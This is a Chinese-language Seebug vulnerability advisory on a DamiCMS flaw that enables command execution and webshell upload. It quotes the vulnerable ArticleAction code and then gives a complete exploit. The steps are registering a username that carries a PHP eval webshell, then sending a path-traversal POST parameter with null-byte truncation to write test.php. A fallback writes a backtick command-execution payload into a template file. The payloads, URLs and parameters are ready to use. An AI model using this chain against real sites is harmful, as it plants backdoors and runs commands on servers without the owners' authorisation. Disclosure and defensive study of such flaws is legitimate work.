大米CMS命令执行可getshell

2015-01-12T00:00:00
ID SSV:95287
Type seebug
Reporter Root
Modified 2015-01-12T00:00:00

Description

简要描述:

开启使用静态时,导致命令执行

详细说明:

/Web/Lib/Action/ArticleAction.class.php

public function index() { if(!isset($_GET['aid'])) { $this->error('非法操作'); } inject_check($_GET['aid']); inject_check($_GET['p']); $aid = intval($_GET['aid']); //读取数据库和缓存 ob_start(); //用于生成静态HTML $is_build = C('IS_BUILD_HTML'); //允许参数 $allow_param = array('p','keyword'); $static_file ='./Html/'.cookie('think_template').'/articles/'.$aid; $mid_str =''; if(count($_REQUEST) >1) { foreach($_REQUEST as $k=>$v){ if($k != 'aid' && in_array($k,$allow_param)){ $mid_str .= '/'.$k.'/'.$v; //对v没有限制 } } } $static_file .= ($mid_str .'.html'); // 这个变量可以控制的 $path = './ArticleAction.class.php'; $php_file = basename($path); parent::html_init($static_file,$php_file,$is_build); //以下是动态代码 。。。。 $this->display(TMPL_PATH.cookie('think_template').'/'.$page_model); if($is_build ==1){ //当开启使用静态 $c = ob_get_contents(); if(!file_exists(dirname($static_file))){ @mkdir(dirname($static_file)); } file_put_contents($static_file, $c); //文件写入$static_file中,但是内容不可控 } }

这个问题在/Web/Lib/Action/IndexAction.class.php,/Web/Lib/Action/ListAction.class.php中也存在。但是现在我们只能覆盖原来的文件,最好的利用方法,就是覆盖php_safe.php(在可以%00截断的情况下),那么全局的sql注入过滤就废了。但是这样还有inject_check存在,不过瘾啊。 想办法控制$c吧。$c是从缓冲区获得了,也就是模板控制的。 发现了一个相关模板,可以有输入。 /Web/Tpl/default/page/page_product.html

<div class="qdfb">大名:<input name="author" class="button" type="text" value="<neq name='_SESSION.dami_username' value=''>{$_SESSION.dami_username}<else/>游客</neq>" id="Author" maxlength="20" size="12"/> //SEESION.dami_username 从session里取出来

碰巧damicms注册账号时候没有长度限制,但注册时时候会对信息用remove_xss,登陆时候有inject_check。所以我们的用户名也就是我们的payload也有一些限制,不能用逗号,单引号,而且因为输出位置特殊,用双引号也不行。 不过还好 我们的一句话不用这些<?php eval($_POST[x]);?> 注册完名字 看一下

<img src="https://images.seebug.org/upload/201501/02151728b0290ae072e690015bc9d01557ccc1d0.png" alt="QQ截图20150102151621.png" width="600" onerror="javascript:errimg(this);">

名字的地方已经有一句话了。 如果现在php版本合适,我们就可以直接%00生成shell了。 找一个产品的页面,因为产品的模板才能传payload过去。 http://127.0.0.1/index.php?s=/articles/index&aid=127 POST:p=../../../../../test.php%00

<img src="https://images.seebug.org/upload/201501/0215250520e427a5cc9bd49a62dc4001ff53357b.png" alt="QQ截图20150102152249.png" width="600" onerror="javascript:errimg(this);">

生成成功了。连接http://127.0.0.1/test.php

<img src="https://images.seebug.org/upload/201501/021533413f96d4aea7d408d5e98b4dda65c88b00.png" alt="QQ截图20150102152334.png" width="600" onerror="javascript:errimg(this);">

但是如果不能截断呢,后缀只能是HTML,利用模板解析那一步执行一下命令吧,但是不能用' " , 所以只好用 反引号 试试了。 反引号会帮我们执行系统命令 注册用户名: <?php echo net user; echo 99; ?> http://127.0.0.1/index.php?s=/articles/index&aid=127 POST:p=../../../../../Web/Tpl/default/pl_pl 生成覆盖/Web/Tpl/default/pl_pl.html

<img src="https://images.seebug.org/upload/201501/02153305521dcbc4f7963ec50a88d2b5f1065b58.png" alt="QQ截图20150102153057.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201501/02153311befacadca7f6c49d69dfa410ff424e59.png" alt="QQ截图20150102153217.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

可以截断,直接上传webshell: 注册姓名:<?php eval($_POST[x]);?> http://127.0.0.1/index.php?s=/articles/index&aid=127 POST:p=../../../../../test.php%00

<img src="https://images.seebug.org/upload/201501/021533512c907a1a613226bf39584a2089431aa5.png" alt="QQ截图20150102152334.png" width="600" onerror="javascript:errimg(this);">

不能截断情况下,上传到html,然后利用模板解析执行命令: 注册用户名: <?php echo net user; echo 99; ?> http://127.0.0.1/index.php?s=/articles/index&aid=127 POST:p=../../../../../Web/Tpl/default/pl_pl 访问http://127.0.0.1/index.php?s=/pl/index&aid=127 这个aid对应文章是要有评论的

<img src="https://images.seebug.org/upload/201501/0215343086976e28903bc7270583380d06c39def.png" alt="QQ截图20150102153217.png" width="600" onerror="javascript:errimg(this);">